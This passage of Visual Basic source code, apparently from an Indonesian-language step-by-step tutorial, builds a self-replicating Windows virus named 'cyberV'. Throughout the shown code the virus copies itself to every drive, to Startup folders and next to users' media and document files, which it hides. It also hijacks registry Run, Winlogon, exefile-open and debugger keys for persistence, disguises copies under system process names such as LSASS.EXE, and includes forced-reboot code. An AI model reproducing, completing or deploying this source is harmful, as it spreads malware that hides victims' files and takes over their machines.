If drv2 = 0 Then CariDirectory "C:\", MultiMedia, sTemp3, 2
'drive selanjutnya
drv2 = drv2 + 3
crdrv2 = CariDrive
sdrv2 = Mid$(CariDrive, drv2 + 1, 3)
'cari folder multimedia tersebut pada drive selanjutnya
CariDirectory sdrv2, MultiMedia, sTemp3, 2
'jika sampai drive terakhir tidak ketemu pencarian dihentikan
If Len(CariDrive) = drv2 + 3 Then drv2 = 0: Ketemu2 = True
End If
End If

'jika alamat file dan caption pada windows explorer tidak sama kosong
If AlamatFile1 <> "" Or JudulCaption1 <> "" Then
'jika panjang nama file tidak sama dengan 0
If Len(NamaFile(AlamatFile1)) <> 0 Then
'jika alamay file tidak sama dengan alamat file yang lama
If AlamatFile1 & "\" <> sPathLama1 Then
'jika selesai cek apakah dialamat tersebut sudah terdapat hasil peggandaan virus
If Selesai Then
'jika belum terdapat hasil penggandaan virus cari file yang ingin disembunyikan pada alamat tersebut
If Dir$(AlamatFile1 & "\" & NamaFile(AlamatFile1) & " .exe", vbNormal) = "" Then CariFile AlamatFile1, "*.*", 1
End If
'gandahkan diri pada alamat tersebut dengan nama folder pada alamat tersebut
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", AlamatFile1 & "\" & NamaFile(AlamatFile1) & " .exe", 0
'set attribute hasil penggandaan menjadi normal
SetFileAttributes AlamatFile1 & "\" & NamaFile(AlamatFile1) & " .exe", FILE_ATTRIBUTE_NORMAL
End If
'jika namafile sama dengan kosong tapi caption windows explorer tidak kosong dan terdapat tidak karakter : pada caption tersebut
'penangan jika address bar tidak menunjukkan alamat file
ElseIf NamaFile(AlamatFile1) = "" And AlamatFile1 <> "" And InStr(JudulCaption1, ":") = 0 Then
'pencarian nama folder tersebut dimulai dari dirve c
If Ketemu = False And TmpDrv <> Right$(CariDrive, 3) Then
Dim sdrv As String
'jika drv sama dengan 0 maka cari lokasi folder pada drive c
If drv = 0 Then CariDirectory "C:\", JudulCaption1, sTemp, 1
'drive selanjutnya
drv = drv + 3
crdrv = CariDrive
sdrv = Mid$(CariDrive, drv + 1, 3)
'cari lokasi folder tersebut pada drive selanjutnya
CariDirectory sdrv, JudulCaption1, sTemp, 1
'jika tidak ketemu sampai drive terakhir hentikan pencarian
If Len(CariDrive) = drv + 3 Then drv = 0: Ketemu = True
End If
End If
End If

'cari drive yang tersedia
For i = 1 To Len(CariDrive) Step 3
'jika pada drive tersebut tidak terdapat hasil penggandaan diri
If Dir$(Mid$(CariDrive, i, 3) & "Data " & GetUserAktif & ".exe", vbNormal) = "" Then
Dim Security As SECURITY_ATTRIBUTES
'buat direktory cyberv pada drive tersebut
CreateDirectory Mid$(CariDrive, i, 3) & "\cyberV", Security
'ubah attribute folder tersebut menjadi system dan hidden
SetFileAttributes Mid$(CariDrive, i, 3) & "\cyberV", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN
'ubah attriube file folder.htt pada folder cyberv menjadi normal
SetFileAttributes Mid$(CariDrive, i, 3) & "\cyberV\Folder.htt", FILE_ATTRIBUTE_NORMAL
'ubah attriube file Dekstop pada drive menjadi normal
SetFileAttributes Mid$(CariDrive, i, 3) & "\desktop.ini", FILE_ATTRIBUTE_NORMAL
'buat file Folder htt pada folder cyberv pada drive
buathtt Mid$(CariDrive, i, 3) & "\cyberV\Folder.htt"
'buat file dektop.ini pada drive
buatini Mid$(CariDrive, i, 3) & "\desktop.ini"
'gandahkan diri didalam folde cyberv dengan nama file New Folder.exe
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", Mid$(CariDrive, i, 3) & "\cyberV\New Folder.exe", 0
'set attribute file New Folder.exe menjadi normal
SetFileAttributes Mid$(CariDrive, i, 3) & "\cyberV\New Folder.exe", FILE_ATTRIBUTE_NORMAL
'gandahkan diri pada drive tesebut dengan nama file dengan awalan Data dan diakhiri dengan nama user yang aktif
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", Mid$(CariDrive, i, 3) & "Data " & GetUserAktif & ".exe", 0
'set attribute file tersebut menjadi normal
SetFileAttributes Mid$(CariDrive, i, 3) & "Data " & GetUserAktif & ".exe", FILE_ATTRIBUTE_NORMAL
End If
'apakah terdapat folder startup pada drive tersebut, jika ada
If Dir$(Mid$(CariDrive, i, 3) & "Documents and Settings\All Users\Start Menu\Programs\Startup") <> "" Then
'gandahkan diri dalam folder startup tersebut
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", Mid$(CariDrive, i, 3) & "Documents and Settings\All Users\Start Menu\Programs\Startup\" & "Empty.pif", 0
SetFileAttributes Mid$(CariDrive, i, 3) & "Documents and Settings\All Users\Start Menu\Programs\Startup\" & "Empty.pif", FILE_ATTRIBUTE_NORMAL
End If
Next i
Autorun
DoEvents

End Sub

Private Sub Autorun()
'atur registy agar virus dapat berjalan pada saat login
SetFileAttributes Left$(GetWindowsPath, 3) & "cyberv.exe", FILE_ATTRIBUTE_SYSTEM Or FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Logon" & GetUserAktif, GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "System Monitoring", GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.EXE"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", REG_SZ, "Shell", "Explorer.exe " & Chr(&H22) & GetSystemPath & "IExplorer.exe" & Chr(&H22)
CreateStringValue HKEY_CLASSES_ROOT, "exefile\shell\open\command", REG_SZ, "", Chr(&H22) & GetSystemPath & "shell.exe" & Chr(&H22) & " " & Chr(&H22) & "%1" & Chr(&H22) & " %*"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", REG_SZ, "Userinit", GetSystemPath & "userinit.exe," & GetSystemPath & "IExplorer.exe"
CreateStringValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug", REG_SZ, "Debugger", Chr(&H22) & GetSystemPath & "Shell.exe" & Chr(&H22)
End Sub

'panggil virus
Private Sub PanggilVirus()
Shell GetWindowsPath & "cyberv.exe", vbNormalFocus
Shell GetSystemPath & "IExplorer.exe", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\WINLOGON.EXE", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\CSRSS.EXE", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\SERVICES.EXE", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\LSASS.EXE", vbNormalFocus
Shell GetLocalSettingsUser & "\Application Data\WINDOWS\SMSS.EXE", vbNormalFocus
DoEvents
End Sub

'3. selanjutnya kita mengisi module API

Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Public Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Public Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long

Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long

Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function EnumProcesses Lib "psapi.dll" (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Public Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Public Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessId As Long, ByVal dwType As Long) As Long
Public Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal Handle As Long) As Long
Public Declare Function GetModuleFileNameExA Lib "psapi.dll" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long
Public Declare Function EnumProcessModules Lib "psapi.dll" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Public Declare Function GetFileTitle Lib "comdlg32.dll" Alias "GetFileTitleA" (ByVal lpszFile As String, ByVal lpszTitle As String, ByVal cbBuf As Integer) As Integer
Public Declare Function Module32First Lib "kernel32" (ByVal hSnapshot As Long, lpme As MODULEENTRY32) As Long
Public Declare Function Module32Next Lib "kernel32" (ByVal hSnapshot As Long, lpme As MODULEENTRY32) As Long
Public Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Public Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Public Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Public Const WM_CLOSE = &H10
Public Const SW_HIDE = 0
Public Const EWX_FORCE = 4
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Const WM_GETTEXT = &HD
Public Const VER_PLATFORM_WIN32_NT = 2
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_PRIVILEGE_ENABLED = &H2
Public Const ANYSIZE_ARRAY = 1
Public Const INVALID_HANDLE_VALUE = -1
Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Const FO_DELETE = &H3
Public Const REG_DWORD = 4
Public Const PROCESS_QUERY_INFORMATION = 1024
Public Const PROCESS_VM_READ = 16
Public Const MAX_PATH = 260
Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
Public Const SYNCHRONIZE = &H100000
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Public Const MAX_MODULE_NAME32 As Integer = 255
Public Const MAX_MODULE_NAME32plus As Integer = MAX_MODULE_NAME32 + 1
Public Const TH32CS_SNAPHEAPLIST = &H1
Public Const TH32CS_SNAPPROCESS = &H2
Public Const TH32CS_SNAPTHREAD = &H4
Public Const TH32CS_SNAPMODULE = &H8
Public Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Public Const hNull = 0
Public Const ERROR_SUCCESS = &H0
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public Const FO_COPY = &H2
Public Const FOF_ALLOWUNDO = &H40
Public Const MAXDWORD = &HFFFF
Public Const FILE_ATTRIBUTE_TEMPORARY = &H100

Public Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Public Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Public Type SHFILEOPSTRUCT
hwnd As Long
wFunc As Long
pFrom As String
pTo As String
fFlags As Integer
fAnyOperationsAborted As Long
hNameMappings As Long
lpszProgressTitle As String
End Type
Public Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * MAX_PATH
End Type
Public Type MODULEENTRY32
dwSize As Long
th32ModuleID As Long
th32ProcessID As Long
GlblcntUsage As Long
ProccntUsage As Long
modBaseAddr As Long
modBaseSize As Long
hModule As Long
szModule As String * MAX_MODULE_NAME32plus
szExePath As String * MAX_PATH
End Type
Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Public Type LUID
LowPart As Long
HighPart As Long
End Type
Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Public Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
Public Type SHITEMID
cb As Long
abID As Byte
End Type
Public Type ITEMIDLIST
mkid As SHITEMID
End Type
Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Public Selesai As Boolean
Public Ketemu As Boolean
Public Ketemu2 As Boolean
Public sPathLama1 As String
Public sPathLama2 As String
Public TmpDrv As String
Public TmpDrv2 As String

'4. selanjutnya kita mengisi module Cari

Public Function CariFile(Path As String, SearchStr As String, ByVal Jenis As Integer) As Integer

On Error Resume Next
Dim FileName As String
Dim hSearch As Double
Dim WFD As WIN32_FIND_DATA
Dim cont As Double

CariFile = 0
Selesai = False
If Right(Path, 1) <> "\" Then Path = Path & "\"

cont = True
hSearch = FindFirstFile(Path & "*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do While cont

FileName = Mid$(WFD.cFileName, 1, InStr(WFD.cFileName, Chr$(0)) - 1)
If (FileName <> ".") And (FileName <> "..") Then
If Not FILE_ATTRIBUTE_DIRECTORY Then
If WFD.dwFileAttributes = 128 Or WFD.dwFileAttributes = 32 Then
If UCase(Right$(FileName, 3)) = "MP3" Or UCase(Right$(FileName, 3)) = "MP4" _
Or UCase(Right$(FileName, 3)) = "MPG" Or UCase(Right$(FileName, 3)) = "MPEG" _
Or UCase(Right$(FileName, 3)) = "AVI" Or UCase(Right$(FileName, 3)) = "DAT" _
Or UCase(Right$(FileName, 3)) = "WMV" Or UCase(Right$(FileName, 3)) = "JPG" _
Or UCase(Right$(FileName, 3)) = "PSD" Or UCase(Right$(FileName, 3)) = "SWF" _
Or UCase(Right$(FileName, 3)) = "HTM" Or UCase(Right$(FileName, 3)) = "HTML" _
Or UCase(Right$(FileName, 3)) = "TXT" Or UCase(Right$(FileName, 3)) = "CSS" _
Or UCase(Right$(FileName, 3)) = "RTF" Or UCase(Right$(FileName, 3)) = "JS" _
Or UCase(Right$(FileName, 3)) = "PHP" Or UCase(Right$(FileName, 3)) = "SCR" _
Or UCase(Right$(FileName, 3)) = "BMP" Or UCase(Right$(FileName, 3)) = "XML" _
Or UCase(Right$(FileName, 3)) = "ZIP" Or UCase(Right$(FileName, 3)) = "RAR" _
Or UCase(Right$(FileName, 3)) = "GIF" Or UCase(Right$(FileName, 3)) = "JPEG" _
Or UCase(Right$(FileName, 3)) = "PNG" Or UCase(Right$(FileName, 3)) = "ASX" _
Or UCase(Right$(FileName, 3)) = "WMA" Or UCase(Right$(FileName, 3)) = "MDB" _
Or UCase(Right$(FileName, 3)) = "txt" Or UCase(Right$(FileName, 3)) = "PDF" _
Or UCase(Right$(FileName, 3)) = "mp3" Or UCase(Right$(FileName, 3)) = "3gp" _
Or UCase(Right$(FileName, 3)) = "zip" Or UCase(Right$(FileName, 3)) = "MOV" _
Or UCase(Right$(FileName, 3)) = "rar" Or UCase(Right$(FileName, 3)) = "dll" _
Or UCase(Right$(FileName, 3)) = "gif" Or UCase(Right$(FileName, 3)) = "tar" _
Or UCase(Right$(FileName, 3)) = "log" Or UCase(Right$(FileName, 3)) = "php" _
Or UCase(Right$(FileName, 3)) = "pdf" Or UCase(Right$(FileName, 3)) = "doc" _
Or UCase(Right$(FileName, 3)) = "js" Or UCase(Right$(FileName, 3)) = "jpg" _
Or UCase(Right$(FileName, 3)) = "css" Or UCase(Right$(FileName, 3)) = "jpeg" _
Or UCase(Right$(FileName, 3)) = "exe" Or UCase(Right$(FileName, 3)) = "html" _
Or UCase(Right$(FileName, 3)) = "XLS" Then
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", Path & CariNama(FileName) & " .exe", 0
SetFileAttributes Path & CariNama(FileName) & " .exe", FILE_ATTRIBUTE_NORMAL
DoEvents
SetFileAttributes Path & FileName, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY
CariFile = CariFile + 1
DoEvents
End If
End If
End If
End If
cont = FindNextFile(hSearch, WFD)

Loop
cont = FindClose(hSearch)
End If

hSearch = FindFirstFile(Path & SearchStr, WFD)
cont = True
Selesai = True
If Jenis = 1 Then
sPathLama1 = Path
ElseIf Jenis = 2 Then
sPathLama2 = Path
End If
DoEvents

End Function

Public Function CariDirectory(Path As String, SearchStr As String, sTemp As String, ByVal Jenis As Integer) As Double
Dim DirName As String
Dim DirNames() As String
Dim nDir As Double
Dim i As Double
Dim hSearch As Double
Dim WFD As WIN32_FIND_DATA
Dim cont As Double

If Right(Path, 1) <> "\" Then Path = Path & "\"
nDir = 0
ReDim DirNames(nDir)
cont = True
hSearch = FindFirstFile(Path & "*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do While cont
DirName = Mid$(WFD.cFileName, 1, InStr(WFD.cFileName, Chr$(0)) - 1)
If (DirName <> ".") And (DirName <> "..") Then
If GetFileAttributes(Path & DirName) And FILE_ATTRIBUTE_DIRECTORY Then
DirNames(nDir) = DirName
nDir = nDir + 1
ReDim Preserve DirNames(nDir)
If UCase(DirName) = UCase(SearchStr) Then
Dim tamp As String
If Jenis = 1 Then
CariFile Path & DirName & "\", "*.*", 1
Else
CariFile Path & DirName & "\", "*.*", 2
End If
DoEvents
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", Path & DirName & "\" & NamaFile(Path & DirName) & " .exe", 0
SetFileAttributes Path & DirName & "\" & NamaFile(Path & DirName) & " .exe", FILE_ATTRIBUTE_NORMAL
sTemp = SearchStr
TmpDrv = Left$(Path, 3)
Exit Function
End If
If UCase(DirName) = UCase("Startup") Then
CopyFile Left$(GetWindowsPath, 3) & "cyberV.exe", Path & DirName & "\" & NamaFile(Path & DirName) & " .exe", 0
SetFileAttributes Path & DirName & "\" & NamaFile(Path & DirName) & " .exe", FILE_ATTRIBUTE_NORMAL
DoEvents
End If
End If
End If
cont = FindNextFile(hSearch, WFD)
Loop
cont = FindClose(hSearch)
End If

If nDir > 0 Then
For i = 0 To nDir - 1
CariDirectory Path & DirNames(i) & "\", SearchStr, sTemp, Jenis
Next i
End If

Ketemu = False

End Function

Public Function CariNama(sName As String) As String
On Error Resume Next
Dim i As Integer
i = 0
For i = Len(sName) To 1 Step -1
If Mid$(sName, i, 1) = "." Then
CariNama = Left$(sName, i - 1)
Exit Function
End If
Next

End Function

'dapatkan nama file
Public Function NamaFile(sPath As String) As String

On Error Resume Next
Dim i As Integer

NamaFile = ""
i = 0
If Right(sPath, 1) = "\" Then sPath = Left$(sPath, Len(sPath) - 1)
For i = Len(sPath) To 1 Step -1
If Mid$(sPath, i, 1) = "\" Then
NamaFile = Right(sPath, Len(sPath) - i)
Exit Function
End If
DoEvents
Next

End Function

Public Function NamaPath(sPath As String) As String

On Error Resume Next
Dim i As Integer

NamaPath = sPath

For i = Len(NamaPath) To 1 Step -1
If Mid$(NamaPath, i, 1) = "\" Then
NamaPath = Left$(NamaPath, i)
Exit Function
End If
DoEvents
Next i

NamaPath = ""

End Function

'5. selanjutnya kita mengisi module Fungsi

Enum REG
HKEY_CURRENT_USER = &H80000001
HKEY_CLASSES_ROOT = &H80000000
HKEY_CURRENT_CONFIG = &H80000005
HKEY_LOCAL_MACHINE = &H80000002
HKEY_USERS = &H80000003
End Enum

Enum TypeStringValue
REG_SZ = 1
REG_EXPAND_SZ = 2
REG_MULTI_SZ = 7
End Enum

Enum TypeBase
TypeHexadecimal
TypeDecimal
End Enum

Enum SFolder
CSIDL_DESKTOP = &H0
CSIDL_PROGRAMS = &H2
CSIDL_CONTROLS = &H3
CSIDL_PRINTERS = &H4
CSIDL_PERSONAL = &H5
CSIDL_FAVORITES = &H6
CSIDL_STARTUP = &H7
CSIDL_RECENT = &H8
CSIDL_SENDTO = &H9
CSIDL_BITBUCKET = &HA
CSIDL_STARTMENU = &HB
CSIDL_DESKTOPDIRECTORY = &H10
CSIDL_DRIVES = &H11
CSIDL_NETWORK = &H12
CSIDL_NETHOOD = &H13
CSIDL_FONTS = &H14
CSIDL_TEMPLATES = &H15
End Enum

Public Function GetSpecialfolder(JenisFolder As SFolder) As String
Dim r As Long
Dim IDL As ITEMIDLIST
r = SHGetSpecialFolderLocation(100, JenisFolder, IDL)
If r = NOERROR Then
Path$ = Space$(512)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)
Exit Function
End If
GetSpecialfolder = ""
End Function

Public Function GetFolderUser() As String
Dim r As Long
Dim IDL As ITEMIDLIST
Dim i As Integer
r = SHGetSpecialFolderLocation(100, CSIDL_PERSONAL, IDL)
If r = NOERROR Then
Path$ = Space$(512)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetFolderUser = Left$(Path, InStr(Path, Chr$(0)) - 1)

For i = Len(GetFolderUser) To 1 Step -1
If Mid$(GetFolderUser, i, 1) = "\" Then
GetFolderUser = Left(GetFolderUser, i - 1)
Exit Function
End If
DoEvents
Next i

Exit Function
End If
GetFolderUser = ""

End Function

Public Function GetDocumentAndSettings() As String

On Error Resume Next
Dim i As Integer

GetDocumentAndSettings = GetFolderUser

For i = Len(GetDocumentAndSettings) To 1 Step -1
If Mid$(GetDocumentAndSettings, i, 1) = "\" Then
GetDocumentAndSettings = Left(GetDocumentAndSettings, i - 1)
Exit Function
End If
DoEvents
Next i

GetDocumentAndSettings = ""

End Function

Public Function GetUserAktif() As String

On Error Resume Next
Dim i As Integer

GetUserAktif = GetFolderUser

For i = Len(GetUserAktif) To 1 Step -1
If Mid$(GetUserAktif, i, 1) = "\" Then
GetUserAktif = Right(GetUserAktif, Len(GetUserAktif) - i)
Exit Function
End If
DoEvents
Next i

GetUserAktif = ""

End Function

Public Function GetLocalSettingsUser() As String

On Error Resume Next
Dim r As Long
Dim IDL As ITEMIDLIST
Dim i As Integer
r = SHGetSpecialFolderLocation(100, CSIDL_PERSONAL, IDL)
If r = NOERROR Then
Path$ = Space$(512)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
GetLocalSettingsUser = Left$(Path, InStr(Path, Chr$(0)) - 1)

For i = Len(GetLocalSettingsUser) To 1 Step -1
If Mid$(GetLocalSettingsUser, i, 1) = "\" Then
GetLocalSettingsUser = Left(GetLocalSettingsUser, i - 1) & "\Local Settings"
Exit Function
End If
DoEvents
Next i

Exit Function
End If
GetLocalSettingsUser = ""

End Function

Public Function GetSystemPath() As String

On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetSystemDirectory(Buffer, 255)
GetSystemPath = Left(Buffer, x) & "\"

End Function

Public Function GetWindowsPath() As String

On Error Resume Next
Dim Buffer As String * 255
Dim x As Long

x = GetWindowsDirectory(Buffer, 255)
GetWindowsPath = Left(Buffer, x) & "\"

End Function

Public Function CreateDwordValue(hKey As REG, SubKey As String, strValueName As String, dwordData As Long) As Long

On Error Resume Next
Dim ret As Long

RegCreateKey hKey, SubKey, ret
CreateDwordValue = RegSetValueEx(ret, strValueName, 0, REG_DWORD, dwordData, 4)
RegCloseKey ret

End Function

Public Function CreateStringValue(hKey As REG, SubKey As String, RTypeStringValue As TypeStringValue, strValueName As String, strData As String) As Long

On Error Resume Next
Dim ret As Long

RegCreateKey hKey, SubKey, ret
CreateStringValue = RegSetValueEx(ret, strValueName, 0, RTypeStringValue, ByVal strData, Len(strData))
RegCloseKey ret

End Function

Public Function Reboot() As Long

On Error Resume Next
LogOff = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)

End Function

Public Function IsWinNT() As Boolean

On Error Resume Next
Dim myOS As OSVERSIONINFO

myOS.dwOSVersionInfoSize = Len(myOS)
GetVersionEx myOS
IsWinNT = (myOS.dwPlatformId = VER_PLATFORM_WIN32_NT)

End Function

Public Sub EnableShutDown()

On Error Resume Next
Dim hProc As Long
Dim hToken As Long
Dim mLUID As LUID
Dim mPriv As TOKEN_PRIVILEGES
Dim mNewPriv As TOKEN_PRIVILEGES

hProc = GetCurrentProcess()
OpenProcessToken hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken
LookupPrivilegeValue "", "SeShutdownPrivilege", mLUID
